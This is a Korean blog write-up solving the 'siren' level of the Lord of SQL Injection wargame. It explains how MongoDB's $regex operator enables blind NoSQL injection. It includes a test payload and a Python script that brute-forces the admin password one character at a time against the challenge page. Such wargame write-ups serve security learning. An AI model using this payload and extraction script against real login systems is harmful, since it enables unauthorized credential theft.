Web Hacking/LOS

Lord of SQL Injection - siren

Lucvs 2021. 10. 5. 08:00

mongo db 가 한 번 더 등장해주었다. Blind SQL Injection 을 수행해야 한다. 저번 연산자 중에서 하나 빼먹은 것이 있다. '$regex' 라는 친구다. 이 친구는 정규표현식을 이용하여 원하는 데이터와 비교할 수 있다. 자세한 내용은 아래에서 볼 수 있다.

https://docs.mongodb.com/manual/reference/operator/query/regex/ 

 

MySQL에서는 like 문을 사용할 때, 'a'로 시작하는 문자열을 'a%'과 같이 작성하였다. NoSQL 에서는 정규표현식을 이용, 즉 '^a' 가 된다. 이외에도 위 문서를 보면 '$'는 특정 문자로 끝나는 문자열을 나타내기도 한다. 

 

간단하게 테스트를 하나 해보자. 굳이 안 해도 되지만.

id=admin&pw[$regex]=^1

 

이 흐름을 이어가서 문제 자체는 어렵지 않기 때문에 바로 exploit 코드를 짤 수 있겠다. 참고로 NoSQL 에서는 '?'가 와일드카드로 사용되고 있으니 이를 제외하는 코드만 추가하면 된다.

import requests

requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/siren_9e402fc1bc38574071d8369c2c3819ba.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()

# Brute Force
password = ''

for i in range(1, 10):
    for j in range(48, 122):
        payload = '?id=admin&pw[$regex]=^' + password + chr(j)
        res     = session.get(url = org_url + payload, headers=header, verify=False)

        if ("Hello User" in res.text) and (j != 63):
            password += chr(j)
            print("Current PW is [ %s ]\n" % password)
            break


# Result
print("\n\nPW --> %s\n" % password)